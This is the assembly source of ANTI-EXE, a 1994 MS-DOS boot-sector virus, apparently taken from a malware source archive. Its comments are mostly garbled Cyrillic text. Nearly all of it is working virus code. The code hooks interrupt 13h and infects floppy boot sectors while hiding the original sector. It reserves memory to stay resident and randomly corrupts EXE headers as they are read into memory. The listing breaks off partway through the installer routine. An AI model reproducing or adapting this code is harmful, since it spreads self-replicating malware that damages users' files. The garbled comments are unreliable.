MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.anti-exe.asm
2021-01-12 17:31:39 -06:00

461 lines
19 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;
;---------------------> Boot Virus ANTI-EXE <-----------------------
;
;This file was written by Dentist. Copyright (C) ToothWare Lviv 1994
; “ §¢ï§ªã § ¢¥«¨ª®î ¯®è¨à¥­÷áâî «÷⥠âãਠ¯® ¢÷àãá ¬ (â ª®¦ ùù ¤¥-
;ä÷æ¨â®¬) ¡ £ â® «î¤¥© ¢¨à÷訫® ¯®¯à®¡ã¢ â¨ ᥡ¥ ¢ ஫÷  ¢â®à÷¢ ª®¬-
;¯'îâ¥à­¨å ¢÷àãá÷¢. ‡¤¥¡÷«ì讣® ­ ¯¨á ­÷ ¢÷àãᨠ¤ã¦¥ ¯à¨¬÷⨢­÷,⮡-
;â® ¬®¦ãâì â ª § à §¨â¨ ä ©« é® ¯®â÷¬ ©®£® ¢¦¥ ­¥ ¢¨«÷ç¨è,  § á÷ªâ¨
;©®£® ïª ª ¦¥âìáï à § ¯«î­ãâ¨.™®¡ ¯÷¤¢¨é¨â¨ ª¢ «÷ä÷ª æ÷î æ¨å ¯à®£à -
;¬÷áâ÷¢ ­¥ â÷«ìª¨ ã ­ ¯¨á ­­÷ ¢÷àãá÷¢,  © 鮡 ¢®­¨ §¬®£«¨ ¯®ç¥à¯­ãâ¨
;¤«ï ᥡ¥ é®áì ­®¢¥ ï ¢¨à÷訢 ¢¨¯ãáâ¨â¨ ¤¥ª÷«ìª  ä©«÷¢ § ¤®ªã¬¥­â -
;æ÷õî ¯à® ¤¥ïª÷ ¤ã¦¥ "¯®¯ã«ïà­÷" ¢÷àãá¨. ‚®­¨ ¡ã¤ãâì ¯à¥¤áâ ¢«¥­÷ ã
;ã ¢¨£«ï¤÷ .ASM ä ©«÷¢ § ¯®ïá­¥­­ï¬ ஡®â¨ ã ª®¬¥­â à å,  â ª®¦ ¤ïª÷
;ä ªâ¨, ¢ à÷ ­â¨ § å¨áâã ÷ «÷ªã¢ ­ï ¢÷¤ ¤ ­®£® ¢÷àãá .
; <20>®ç­ã § ¡ã⮢®£® ¢÷àãá  ANTI-EXE.–¥© ¢÷àãá ¢ á¢÷© ç á ¡ã¢ ¤ã¦¥ ¯®-
;è¨à¥­¨©, à÷¤ª® âà ¯«ï¢áï ª®¬¯îâ¥à 直© ¡ã¢ ­¨¬ ­¥ § à ¦¥­¨©. ¬¥­¥
;á ¬®£® ­¨¬ ¡ã«  § à ¦¥­  ¡÷«ìè  ¯®«®¢¨­  ¤¨áª¥â ª÷­¥æì ª÷­æ÷¢ ¢÷­
;¬¥­÷ ­ ¤®÷¢ ÷ ¢¨ ¡ ç¨â¥ â¥ é® ¢¨ ¡ ç¨â¥ (©®£®  áᥬ¡«¥à­¨© «÷áâ÷­£)
; "ª¢¨àï­­÷" ¬¥­÷ ¤ã¦¥ ¤®¯®¬®£«  ¯à®£à ¬¬  BD . –¥ õ¤¨­¨© ¤¥¡ã£¥à
;直© ¯÷¤âਬãõ ª®­¢¥©õà ª®¬ ­¤, ­¥ ¯¥à¥å®¯«î ¯¥à¥à¨¢ ­­ï 1 ÷ 3 , ­¥
;§ â¨à õ á⥪, ¤®§¢®«ïõ âà á㢠⨠§ £à㧪㠪®¬¯'îâ¥à  ÷ â.¤. <20>÷«ìè
;¤®ª« ¤­÷è¥ ¯à® ©®£® ஡®âã ç¨â ©â¥ ¢ ¤®ªã¬¥­â æ÷ù.
;
; Ž <20> ˆ <20> Ž <20> Ž ˆ ö <20>
; <20>¥§¨¤¥­â­¨© ­¥®¯ á­¨© (  ¬®¦¥ © ®¯ á­¨©, ïª å⮠஧ã¬÷õ) ¢÷àãá.
;„®¢¦¨­  512 ¡ ©â. ‡ ¯¨áãõâìáï ¢ boot-ᥪâ®à÷ ¤¨áª¥â¨÷ MBR ¢÷­ç¥áâ¥-
;à  ¯à¨ ç¨â ­­÷ § ­¨å (int 13h,ah = 2).Žà¨£÷­ «ì­¨© boot-ᥪâ®à §¡¥-
;à÷£ õ ­  ¢÷­ç¥áâ¥à÷ ¯®  ¤à¥áã 0/0/13 (£®«®¢ª /â४/ᥪâ®à),  ­  ¤¨-
;᪥â÷  ¤à¥á §¬÷­­¨©.<2E>¥à¥å®¯«îõ ¯¥à¥à¨¢ ­­ï int 13h ,§¬¥­èãõ ®¡'õ¬
;¯ ¬ïâ÷ ­  ®¤¨­ ª÷«®¡ ©â.
; <20>à®æ¥á ¯®ç âª®¢®ù § £à㧪¨ ­  IBM - áã¬÷á­¨å ª®¬¯'îâ¥à å ᪫ -
;¤ õâìáï § áç¨â㢠­­ï boot-ᥪâ®à ,直© ஧¬÷éãõâìáï ¯®  ¡á®«îâ­®¬ã
; ¤à¥áã 0000†700, ÷ ¯¥à¥¤ õ â㤨 ã¯à ¢«÷­­ï.Š®«¨ ¯à®å®¤¨âì § £àã§-
;ª  § § à ¦¥­®£® ¤¨áª , § ¬÷áâì boot-ᥪâ®à  áç¨âãõâìáï â÷«® ¢÷àã-
;á . <20>®â÷¬ ­  ¯®ç â®ª ¢÷àãá  ¯¥à¥¤ õâìáï ã¯à ¢«÷­­ï ÷ ¢÷àãá ஡¨âì
;᢮î "ç®à­ã" á¯à ¢ã.
; € á ¬¥ ¢÷­ §¬¥­èãõ ­  1 ®¡'õ¬ ¯ ¬ïâ÷ (á«®¢® ¯®  ¤à¥áã 0000:0413
;¢ èãá­ ¤æï⪮¢÷©) १¥à¢ãîç¨ â¨¬ á ¬¨¬ 1 Š¡ ©â ¯÷¤ á¢®î ª®¯÷î.
;... to be continue
;
;
;
; „®ªã¬¥­â æ÷ï Lviv (C) 1994
; ¢÷¤ 13/04/94 Dentist & Ko.
cseg segment word public 'CODE'
assume cs:cseg,ds:cseg
org 0h
NewVector EQU 0D3h ;­®¬¥à ¢¥ªâ®à  直¬ ª®à¨áâãõ¬áï § ¬iáâì
;¤i©á­®£® §­ ç¥­­ï ¢¥ªâ®à  OldVector
OldVector EQU 013h ;­®¬¥à ¢¥ªâ®à  直© §¬i­îõ¬
ForSegment EQU 002h ;¢ DWORD ª®¬iઠå ᥣ¬¥­â § ¯¨áãõâìáï ¢ áâ à-
ForOffset EQU 000h ;è¨å ¤¢®å ¡ ©â å   §¬i饭­ï ¢ ¬®«®¤è¨å
MemSizeAdr EQU 413h ; ¤à¥á ª®¬iન ¢ ᥣ¬¥­âi 0000 ¤¥ §¡¥ài£ -
;õâìáï ஧¬ià ¯ ¬ïâi ¢ ªi«®¡ ©â å
BootOffset EQU 07C00h ;¢ ᥣ¬¥­âi 0000  ¤à¥á § 类£® § £à㦠õâìáï
;BOOT ᥪâ®à
;*************** ¯®ç¥â®ª âi«  ¢iàãá  ****************
jmp instaljator1 ;¯® æ¨å ¯¥àè¨å ç®â¨àì®å ¡ ©â å ANTI-EXE-誠
db 04Dh ;¢¨§­ ç õ ç¨ ¤¨áª § à ¦¥­¨© ç¨ ­÷
OldBoot dw ? ; ¯¥à讬㠡 ©âi ­®¬¥à ᥪâ®à 
;  ¢ ¤à㣮¬ã ¡ ©âi ­®¬¥à ¤®à®¦ª¨
OldBootHead db ? ;  âãâ ­®¬¥à £®«®¢ª¨ (áâ®à®­¨)
;ïªi ¢ª §ãîâì ­  ᥪâ®à §
;­®à¬ «ì­¨¬ § £àã§ç¨ª®¬
ForFunction dw ? ;’ãâ §¡¥ài£ õ¬ §­ ç¥­­ï AX § 直¬
;¡ã«® ¢¨ª«¨ª ­® ¯¥à¥à¨¢ ­­ï 13h
;******* <20>«®ª ¯ à ¬¥âà÷¢ ¤¨áªã (¤«ï ¤¨áª¥â¨) ********
org 0000Bh
SectorSize dw 00200h ;ª÷«ìª÷áâì ¡ ©â ¢ ᥪâ®à÷
ClusterSize db 002h ;ª÷«ìª÷áâì ᥪâ®à÷¢ ¢ ª« áâ¥à÷
ReservedSectors dw 00001h ;ª÷«ìª÷áâì § à¥§¥à¢®¢ ­¨å ᥪâ®à÷¢ (¯¥à¥¤ FAT)
QuantityFAT db 002h ;ª÷«ìª÷áâì FAT-÷¢
RootSize dw 00070h ;ª÷«ìª÷áâì 32-¡ ©â®¢¨å ¥«¥¬¥­â÷¢
;ª®à­¥¢®£® ª â «®£ 
TotSectors dw 002D0h ;ª÷«ìª÷áâì ᥪâ®à÷¢ ­  ­®á÷ù (஧¤÷«÷ ¤¨áªã)
Media db 0FDh ;¤¥áªà¨¯â®à ­®á÷ï
FATSize dw 00002h ;ª÷«ìª÷áâì ᥪâ®à÷¢ ¢ ®¤­÷© FAT
SectorsPerTrek dw 00009h ;ª÷«ìª÷áâì ᥪâ®à÷¢ ­  â४ã
QuantityHead dw 00002h ;ª÷«ìª÷áâì £®«®¢®ª (¯®¢¥àå®­ì)
HidenSectors dw 00000h ;ª÷«ìª÷áâì á客 ­¨å ᥪâ®à÷¢
OffsetSectorSize EQU 00Bh
OffsetClusterSize EQU 00Dh
OffsetReservedSectors EQU 00Eh
OffsetQuantityFAT EQU 010h
OffsetRootSize EQU 011h
OffsetTotSectors EQU 013h
OffsetMedia EQU 015h
OffsetFATSize EQU 016h
OffsetSectorsPerTrek EQU 018h
OffsetQuantityHead EQU 01Ah
OffsetHidenSectors EQU 01Ch
Signatura db 04Dh,05Ah,040h,000h,088h,001h,037h,00Fh,0E0h
;************ <20>®¢¨© ®¡à®¡ç¨ª ¯¥à¥à¨¢ ­­ï ************
New_Int13 proc far
cmp ah,000F9h ;Ÿªé® ¢¨ª«¨ª õâìáï ¯¥à¥à¨¢ ­­ï int 13h ÷ à¥-
jz End_Int13__ ;£÷áâà AH = 0F9h (¤¥ïª  ­¥ ÷á­ãîç  äã­ªæ÷ï)
;â® ¯à ¯®à¥æì ZF ¢áâ ­®¢«îõâìáï ¢ ®¤¨­¨æî
;÷ ¯®¢¥àâ õâìáï ¢ ¢¨ª®­ã¢ ­ã ¯à®£à ¬ã.
;’¨¬ á ¬¨¬ ¬®¦­  ¢¨§­ ç¨â¨ ç¨ ¢÷àãá õ
;¢ ¯ ¬ïâ÷
mov cs:ForFunction,ax ;‚¨ª«¨ª õ ÷á⨭¥ ¯¥à¥à¨¢ ­­ï ¤«ï § ¤ -
int NewVector ;­¨å ¯ à ¬¥âà÷¢ ÷ ïªé® ¢¨­¨ª«  ¯®¬¨«ª  â®
jc End_Int13__ ;¢¨©â¨ § ¯¥à¥à¨¢ ­­ï ÷­ ªè¥ ÷¤¥¬ ¤ «ìè¥
pushf ;Ÿªé® ¯¥à¥à¨¢ ­­ï ¡ã«® ¢¨ª«¨ª ­® ¯à¨ AH <20>…à÷¢-
cmp byte ptr cs:ForFunction[1],002h ;­®¬ã 2 (äã­ªæ÷ï ç¨â ­­ï ᥪ-
jnz End_Int13_ ;â®à ) â® ©¤¥¬ ­  ¢¨å÷¤ ÷­ ªè¥ ¤ «ìè¥ -- ®¡à®-
;¡¨¬ æ¥ "á¢ïâ®"
;************* Œ®¦¥ ¯®¯ àâ ç¨â¨ âà®å¨ ? *************
push cx ;Œ®¦¥ © ¯®¯ àâ ç¨¬,¯®¤¨¢¨¬áï "¯® â ©¬¥àã"
push si ; «¥ ¯®ª¨ é® §¡¥à¥¦¥¬ ã á⥪ã ॣ÷áâà¨
push di ;ïª÷ ¡ã¤¥¬ ¢¨ª®à¨á⮢㢠â¨
push ds
sub cx,cx ;Š®¬÷ઠ ¯ ¬ïâ÷ §  ¤à¥á®¬ 0000h:046Ch õ ­¥ é® ÷­è¥ ïª
mov ds,cx ;«÷稫쭨ª ÷¬¯ã«ìá÷¢ â ©¬¥à  ç¥à¥§ ª®¦­÷ 55 mc § ¯®ç â-
test byte ptr ds:[046ch],003h ;ªã ÷­÷æ÷ «÷§ æ÷ù (4 ¡ ©â ).
jz NePartachyty ;Ÿªé® ¢ ¬®«®¤è®¬ã á«®¢÷ ¬®«®¤è÷ ¤¢  ¡÷â  à÷¢­÷
;­ã«î â® ¯¥à¥©¤¥¬ ÷ ­¥ ¡ã¤¥¬ ¯ àâ ç¨â¨
;¯®«ãç õâìáï é® ¢ 3/4 ¢¨¯ ¤ª å ¡ã¤¥¬ ¯ àâ ç¨â¨
;  ¢ 1/4 ¢¨¯ ¤ª å ­¥ ¡ã¤¥¬.
push cs ;Œ ­÷¯ã«îõ¬ § ਣ÷áâà ¬¨ â ª 鮡 ॣ÷áâ஢  ¯ à 
pop ds ;ES:DI - ¢ª §ã¢ «  ­  ¯®ç â®ª ¯¥à讣® § £à㦥­®£® ᥪ-
mov di,bx ;â®à ,   DS:SI ­  ¯®ç â®ª á÷£­ âãਠ¯® ¯à¨áãâ­®áâ÷
;类ù ­  ¯®ç âªã ᥪâ®à  ÷ ¡ã¤¥¬ ¯ àâ ç¨â¨
Cont: lea si,Signatura ;¢ 横«÷ ª®¦¥­ à § ¢ SI § £à㦠õ¬  ¤à¥á á÷£­ â-
mov cx,8 ;ãà¨, ¢ CX ùù ¤®¢¦¨­ 
push di ;DI ¢ª §ãõ ­  ¯®ç â®ª ᥪâ®à  ¢ ¯ ¬ïâ÷ ¢ 类¬ã
repe cmpsb ;¢ ¤ ­¨© ¬®¬¥­â è㪠õâìáï á÷£­ âãà  (§ §¬÷é. 0)
pop di ;÷ ïªé® §­ å®¤¨âìáï â® ã¯à ¢«÷­­ï ¯¥à¥¤ õâìáï
jz Partachyty ;­  ¬÷âªã Partachyty (¢¨å®¤¨¬® § 横«ã) ÷­ ªè¥
add di,200h ;ª®à¥ªâãõ¬ ¢÷¤¯®¢÷¤­¨¬ 稭®¬ DI â ª 鮡 ¢÷­
;¢ª §ã¢ ¢ ­  ­ áâ㯭¨© ᥪâ®à ¢ ¯ ¬ïâ÷
dec byte ptr cs:[ForFunction] ;¢ æ÷© §¬÷­­÷© ¬÷áâ¨âìáï ª÷«ì-
jnz Cont ;ª÷áâì §ç¨â ­¨å ᥪâ®à÷¢ ÷ ¯à®ªàãçãõ¬ 横«
;¯® ¢á÷å ᥪâ®à å
jmp short NePartachyty ;ANTI-EXE-èªã ­ ¯¥¢­® ᪮¬¯÷«î¢ «¨ ­ 
nop ;Macro Assembler-÷,⮬ã é® â ª¨© ª®¤ ¬®¦¥ §à®¡¨â¨ â÷«ìª¨ ¢÷­
;§ ¬÷áâì ª®¬ ­¤¨ jmp NePartachyty (÷¤÷®â÷§¬ - ¯à ¢¤  ???)
Partachyty: ;<3B> àâ ç¥­­ï § ª«îç õâìáï ¢ ⮬ã é® ¢ ¯¥à訩 ¡ ©â ᥪâ®à  ¢ 类-
stosb ;¬ã §­ ©è«¨ á÷£­ âãàã § ¯¨áãõ¬ ¢¬÷á⨬¥ ॣ÷áâà  AL ( «¥ æ¥
;â÷«ìª¨ ¢ ¯ ¬ïâ÷ ­  ¤¨áªã ­÷箣® ­¥ ¬÷­ïõ¬)
NePartachyty:
pop ds ;‚÷¤­®¢«îõ¬ ¢¬÷á⨬¥ ॣ÷áâà÷¢
pop di ;直¬¨ ¬¨ ª®à¨áâ㢠«¨áì
pop si
pop cx
cmp cx,00001h ;Ÿªé® ¡ã«® ¢¨ª«¨ª ­® ¯¥à¥à¨¢ ­­ï § ॣ÷áâà ¬¨
jnz End_Int13_ ;⨪¨¬¨ é® ¢ª §ãîâì ­  ç¨â ­­ï ᥪâ®à  (-÷¢)
cmp dh,000h ;¯®ç¨­ îç¨ § ᥪâ®à  § ­®¬¥à®¬ 0/0/1 (boot-
jnz End_Int13_ ;ᥪâ®à) â® ­  ¯÷¤¯à®£à ¬ã ®¡à®¡ª¨,猪  ¡®
call ToWork ;©®£® § à §¨âì (ïªé® ¢÷­ é¥ ­¥ § à ¦¥­¨©)  ¡®
;"¯÷¤áã­¥ ©®£® á¯à ¢¦­õ ¢¬÷á⨬¥" (ïªé® ¢÷­
;¢¦¥ § à ¦¥­¨©)
;*************** ‚¨å÷¤ § ¯¥à¥à¨¢ ­­ï ****************
End_Int13_: ;’÷«ìª¨ ç¥à¥§ 楩 ª®¤ ¢÷àãá ¯®¢¥àâ õ ã¯à ¢«÷­­ï
popf ;¯à®æ¥áã 直© ¢¨ª«¨ª ¢ æ¥ ¯¥à¥à¨¢ ­­ï.
End_Int13__: ;ô ¤¢÷ â®çª¨ ¢¨å®¤ã ïª÷ § «¥¦ âì ¢÷¤ ⮣® ç¨ õ
ret 2 ;ã á⥪㠧 ¯¨á ­¥ á«®¢® áâ ­ã ¯à®æ¥áá®à  (PSW)
New_Int13 endp
;********** Ž¡à®¡ª  ç¨â ­­ï ¢¥ªâ®à  0/0/1 ***********
ToWork proc near
;************ ‡¡¥à¥¦¥¬ ã á⥪ã ॣ÷áâਠ*************
push ax ;<3B>㠧஧ã¬÷«® é® ¬¨ ஡¨¬?!
push bx ;Œ¨ §¡¥à÷£ õ¬ ¢ á⥪ã ॣ÷áâà¨
push cx ;直¬¨ ¡ã¤¥¬ ª®à¨â㢠â¨áì
push dx
push ds ;<3B>ਠ¢å®¤¦¥­­÷ ¢ æî ¯÷¤¯à®£à ¬ã
push es ;¢á÷ ॣ÷áâਠ¬ îâì ⢪÷¦ §­ ç¥­­ï
push si ;ïª ÷ ¯à¨ ¢¨ª«¨ªã ¯¥à¥à¨¢ ­­ï
push di ;AH = 0, AL = ?, ES:BX = ¡ãä¥à ¤«ï ç¨â ­­ï
;CX = 1, DH = 0, DL = ?
;******* <20>஢÷ਬ ç¨ ¤ ­¨© boot ¢¦¥ § à ¦¥­¨© *******
push es ;<3B>®à÷¢­ïõ¬ ¯¥àè¨å ç®â¨à¨ ¡ ©â¨ §ç¨â ­®£® boot-
pop ds ;ᥪâ®à  § ¯¥à訬¨ ç®â¨à¬  ¡ ©â ¬¨ ¢÷àãá 
mov ax,cs:[0000h] ;ïªé® ¢®­¨ á¯÷¢¯ ¤ îâì â® ¡ã¤¥¬"¢¢ ¦ â¨ é®
cmp ax,[bx] ;¤ ­¨© boot-ᥪâ®à ¢¦¥ § à ¦¥­¨© ÷ ¡ã¤¥¬ ¢¨ª®-
jnz NoInfected ;­ã¢ â¨ ­ áâ㯭¨© ¡«®ª ®¯¥à â®à÷¢ 直© ¯÷¤áâ ¢-
mov ax,cs:[0002h] ;«ïõ ­®à¬ «ì­¨© boot-ᥪâ®à,÷­ ªè¥ ¡ã¤¥¬ ¢¢ ¦ -
cmp ax,[bx+2] ;â¨ é® á¥ªâ®à ­¥ § à ¦¥­¨©÷ ¯¥à¥©¤¥¬ ­  ¬÷âªã
jnz NoInfected ;NoInfected (­¥ § à ¦¥­¨©) â ¬ ¬¨ ©®£® § à §¨¬
;********* <20>÷¤áã­¥¬ ­®à¬ «ì­¨© boot ᥪâ®à **********
mov cx,OldBoot[bx] ;Ž¯à¥¤÷«¨¬® ¤¥ ­  ¤ ­®¬ã ¤¨áªã ­ å®-
mov dh,OldBootHead[bx] ;¤¨âìáï ­®à¬ «ì­¨© boot-ᥪâ®à ã ¢÷¤-
mov ax,00201h ;¯®¢÷¤­÷ ॣ÷áâਠ§ ­¨á¥¬ æ÷ ¤ ­÷
int NewVector ;¢¨ª«¨ç¥¬ ¯¥à¥à¨¢ ­­ï ç¨â ­­ï ᥪâ®à 
jmp short ExitFromThere ;÷ ©¤¥¬ ­  ¢¨å÷¤ § ¯÷¤¯à®£à ¬¨
;********* ‡ à §¨¬ ­¥ § à ¦¥­¨© boot-ᥪâ®à *********
NoInfected:
cmp dl,001h ; DL - ­®¬¥à ¯à¨áâà®î ¢¢®¤ã/¢¨¢®¤ã (0=A,1=B)
ja ExitFromThere ;§ à ¦ â¨ â÷«ìª¨ ïªé® ¯à¨áâà÷© ¤¨áª®¢÷¤ A  ¡® B
;÷­ ªè¥ ¢¨©â¨ § ¯¥à¥à¨¢ ­­ï
;*********** ‡­ ©â¨ ª« áâ¥à ¤«ï "墮áâ " ************
mov ax,[bx+OffsetFATSize] ;AX - ஧¬÷à FAT ¢ ᥪâ®à å
mul byte ptr [bx+OffsetQuantityFAT] ;AX - ஧¬÷à FAT ¯®¬­®¦¥­¨© ­ 
;ª÷«ìª÷áâì FAT-÷¢ ÷ æ¥ à÷¢­¥
;ª÷«ìª®áâ÷ ᥪâ®à÷¢ ¢¨¤÷«¥­¨å
;¯÷¤ ¢á÷ FAT-¨
add ax,[bx+OffsetReservedSectors] ;AX - ¤®¤ ¬® é¥ ªà÷¬ ⮣® ª÷«ì-
;ª÷áâì § à¥§¥à¢®¢ ­¨å ᥪâ®à÷¢
;¯¥à¥¤ FAT- ¬¨ (MBR,BOOT,÷ â.¤)
push dx ;
mov cl,4 ;
mov dx,[bx+OffsetRootSize] ;DX - ª÷«ìª÷áâì ¥«¥¬¥­â÷¢ ª®à-
;­¥¢®£® ª â «®£  (¢ 32-¡ ©â­¨å
;áâàãªâãà å
shr dx,cl ;஧¤÷«¨¢è¨ DX ­  16 ¡ã¤¥¬ ¬ â¨
;ª÷«ìª÷áâì ᥪâ®à÷¢ ¢¨¤÷«¥­ã
;¯÷¤ ROOT
add ax,dx ;÷ æ¥ â ª®¦ ¤®¤ õ¬ ¤® AX
;®â¦¥ AX à÷¢­¥ ª÷«ìª®áâ÷ ᥪ-
;â®à÷¢ ¢¨¤÷«¥­÷© ¯÷¤ :
;FAT,ROOT,BOOT...
dec ax ;ª®à¥ªæ÷ï ­¥®¡å÷¤­  ¤«ï ¡÷«ìè
;¯à®áâ¨å ஧à åã­ª÷¢
mov cx,[bx+OffsetSectorsPerTrek] ;CX - ª÷«ìª÷áâì ᥪâ®à÷¢ ­ 
push cx ;®¤­®¬ã â४ã
sal cx,1 ;CX - ª÷«ìª÷áâì ᥪâ®à÷¢ ­ 
;®¤­÷© ¤®à®¦æ÷  «¥ § ¤¢®å
;áâ®à÷­
sub dx,dx ;¡ã¤¥¬ ¤÷«¨â¨ DX:AX ­  CX
;ç¨á«® ¢ AX ¢¦¥ õ,  鮡 ç -
;ᮬ ­¥ ¢¨­¨ª«® ¯¥à¥¯®¢­¥­­ï â®
;¬¨ © ¢¦¨¢ õ¬ ॣ÷áâ஢㠯 àã
;DX:AX , «¥ áâ àè¥ á«®¢® ¬ õ
;¡ã⨠à÷¢­¨¬ ­ã«î
div cx ;¯÷á«ï ¤÷«¥­­ï ¢ AL - ­®¬¥à
;â४ã (AH = 0)
;DX - ª÷«ìª÷áâì ᥪâ®à÷¢ ¢¦¥
;§ ­ïâ¨å ­  ¤ ­÷© ¤®à®¦æ÷
;­  ¤¢®å áâ®à®­ å,
; «¥ ¬¥­è¥ ­  1 ???
pop cx ;CX - ª÷«ìª÷áâì ᥪâ®à÷¢ ­ 
push ax ;®¤­®¬ã â४ã
mov ax,dx ;®áâ çã ¢÷¤ ¤÷«¥­­ï ¢ DX §­®¢ã
sub dx,dx ;§ ­®á¨¬® ¢ ॣ÷áâ஢㠯 àã
;DX:AX ÷ ¤÷«¨¬ ­  ª÷«ìª÷áâì á¥-
;ªâ®à÷¢ ­  ®¤­÷© ¤®à®¦æ÷
div cx ;¯÷á«ï ¤÷«¥­­ï ¢ AL - ­®¬¥à
;áâ®à®­¨
;DL - ª÷«ìª÷áâì ᥪâ®à÷¢ ¢¦¥
;§ ­ïâ¨å ­  ¤ ­÷© ¤®à®¦æ÷
; «¥ ¬¥­è¥ ­  1 ???
mov dh,al ;¢ AL - ­®¬¥à áâ®à®­¨
mov cl,dl ;¢ DL - ­®¬¥à ᥪâ®à -1
pop ax ;¢ AL - ­®¬¥à ¤®à®¦ª¨
mov ch,al
inc cl ;¢ CL - ¢÷¤ª®à¥ªâ®¢ ­¨© ­®¬¥à
;ᥪâ®à 
pop ax
mov dl,al ;¢ AL - ­®¬¥à ¯à¨áâà®î ¢¢®¤ã/
;¢¨¢®¤ã
;¢á÷ ॣ÷áâਠïª÷ ¢¨§­ ç îâì
;ᥪâ®à ¢ª §ãîâì ­  ®áâ ­­÷©
;ᥪâ®à § ¢¦¥ ¢¨¤÷«¥­¨å
;æ¥ ¯¥à¥¢ ¦­® ®áâ ­­÷© ᥪâ®à
;ROOT § ¯¨áã (¯¥à¥¢ ¦­® ROOT
;஧¬÷éãõâìáï ¯÷á«ï FAT
mov cs:OldBootHead,dh ;§ ¯¨áãõ¬ ¢ ¢÷¤¯®¢÷¤­÷ ª®¬÷ન
mov cs:OldBoot,cx ;­®¬¥à : áâ®à®­¨,¤®à®¦ª¨ ÷
;ᥪâ®à  ¤¥ ¬¨ ¡ã¤¥¬ §¡¥à÷£ â¨
;®à¨£÷­ «ì­¨© BOOT-ᥪâ®à
mov ax,00301h ;÷ ®à¨£÷­ «ì­¨© BOOT § ¯¨áãõ¬
int NewVector ;¢¨¤÷«¥­¥ ¬÷áæ¥.
jc ExitFromThere ;<3B>ã ïªé® ¯®¬¨«ª  § ¯¨áã â®
;¢¨©â¨ §¢÷¤á¨   ÷­ ªè¥
;§ ¯¨è¥¬ ¢÷àãá ­  ¬÷áæ¥ BOOT- 
push cs ; «¥ ᯮç âªã ÷§ ­®à¬ «ì­®£®
pop es ;BOOT-ᥪâ®à  ¯¥à¥è«¥¬ â ¡«¨æî
cld ;¯ à ¬¥âà÷¢ ¤¨áª¥â¨ ­  ùù ¦
mov di,offset ForFunction ;¬÷áæ¥  «¥ ¢ â÷«÷ ¢÷àãá 
mov si,bx ;¤®¢¦¨­  ¡«®ªã 直© ¡ã¤¥¬ ¯¥à¥-
add si,di ;ᨫ â¨ à÷¢­  23 ¡ ©â¨
mov cx,00017h
rep movsb
mov ax,00301h ;  ⥯¥à § ¯¨è¥¬ â÷«® ¢÷àãá 
xor bx,bx ;§ ¬÷áâì BOOT-ᥪâ®à  ÷
mov cx,00001h ;¢¦¥ § ¯à ¢¨«ì­®î â ¡«¨æ¥î
sub dh,dh ;¯ à ¬¥âà÷¢ ¤¨áªã æ¥ ¯®âà÷¡­®
int NewVector ;¤«ï ⮣® 鮡 ­  ­¥§ à ¦¥­÷©
;¬ è¨­÷ ÷­ä®à¬ æ÷ïç¨â « áì §
;¤¨áªã ­®à¬ «ì­®
;***** ‚¨å÷¤ § ¯÷¤¯à®£à ¬¨ ®¡à®¡ª¨ boot ᥪâ®à  *****
ExitFromThere:
pop di ;’ ¬,­  ¯®ç âªã æ÷õù ¯÷¤¯à®£à ¬¨ ¬¨ §¨¯¨á «¨ ¢ á⥪
pop si ;æ÷ ॣ÷áâà¨.
pop es ;’¥¯¥à ­¥ ¬÷è «® ¡ ùå §¢÷¤â ¬ §ç¨â â¨
pop ds ;¯®¢¥à­ã¢è¨ ù¬ ¯®ç âª®¢÷ §­ ç¥­­ï
pop dx
pop cx
pop bx
pop ax
ret
ToWork endp
;*************** ö <20> Ÿ Ž <20> ****************
;************* ö­áâ «îõ ¢÷àãá ¢ ¯ ¬ïâ÷ **************
Instaljator1:
;******** <20>¥à¥å®¯¨â¨ ¯®âà÷¡­÷ ¯¥à¥à¨¢ ­­ï ***********
xor di,di ;‡  ¤®¯®¬®£®î ॣ÷áâ஢®ù ¯ à¨ ES:DX
mov ds,di ;¯¥à¥á¨« õ  ¤à¥á ¯¥à¥à¨¢ ­­ï OldVector
les dx,ds:[OldVector * 4] ;¢ ª®¬÷àªã ¤¥ §¡¥à÷£ õâìáï ¢¥ªâ®à
mov ds:[NewVector * 4 + ForOffset],dx ;¯¥à¥à¨¢ ­­ï
mov ds:[NewVector * 4 + ForSegment],es ;NewVector
;*************** ö­÷æ÷ «÷§ã¢ â¨ á⥪ ****************
cli ;ö­÷æ÷ «÷§ãõ á⥪®¢÷ ¢ª §÷¢­¨ª¨ â ª
mov ss,di ;鮡 ¢®­¨ ¢ª §ã¢ «¨ ­  ®¡« áâì ¯ ¬ïâ÷ §à §ã
mov si,BootOffset ;¯¥à¥¤ BOOT ᥪâ®à®¬ SS:SP = 0000h:7C00h
mov sp,si ;  § ®¤­® ¢áâ ­®¢«îõ SI = 7C00h
sti
;************** Š®õ è® § ¯¨á â¨ ¢ á⥪ **************
push ds ;DS = 0000h ¢÷¤­®áïâìáï ¤® RETF ¯® ¬÷âæ÷
;GoToBoot 直© ¢¨ª®­ãõ ¯¥à¥¤ çã ã¯à ¢«÷­­ï
push si ;SI = 7C00h ­  ®à¨£÷­ «ì­¨© BOOT ᥪâ®à ¯÷á«ï
;©®£® § £à㧪¨
push si ;SI = 7C00h ¯®â÷¬ ¡ã¤¥ ¢¨ª®à¨áâ ­® ª®¬ ­¤®î POP BX
;¤«ï ⮣® 鮡 ES:BX ¢ª §ã¢ «® ­  ¡ãä¥à ¤«ï § £à㧪¨
;®à¨£÷­ «ì­®£® BOOT ᥪâ®à  (0000:7C00)
;****************** ‚¨¤÷«ïõ¬ ¯ ¬ïâì *****************
mov ax,ds:[MemSizeAdr] ;§¬¥­èãõ¬ ­  1Š ஧¬÷à § ª «ì­®ù ¯ ¬ïâ÷
dec ax ;i ஡¨¬ ¯¥à¥â¢®à¥­­ï æ쮣® ç¨á« 
mov ds:[MemSizeAdr],ax ;â ª 鮡 ¢÷­ ¢ª §ã¢ ¢  ¤à¥á ᥣ¬¥­âã
mov cl,6 ;¤«ï ¯à®£à ¬¬¨ ÷ ¯¥à¥á¨« õ¬ ¢ ES
sal ax,cl ;÷ ES ¯®¢¨­­® ¢ª §ã¢ â¨ ­  ¯®ç â®ª
mov es,ax ;"¢÷¤£à¨¦¥­®ù" ¯ ¬ïâ÷
mov ds:[OldVector * 4 + ForSegment],ax
mov word ptr ds:[OldVector * 4 + ForOffset],offset New_Int13
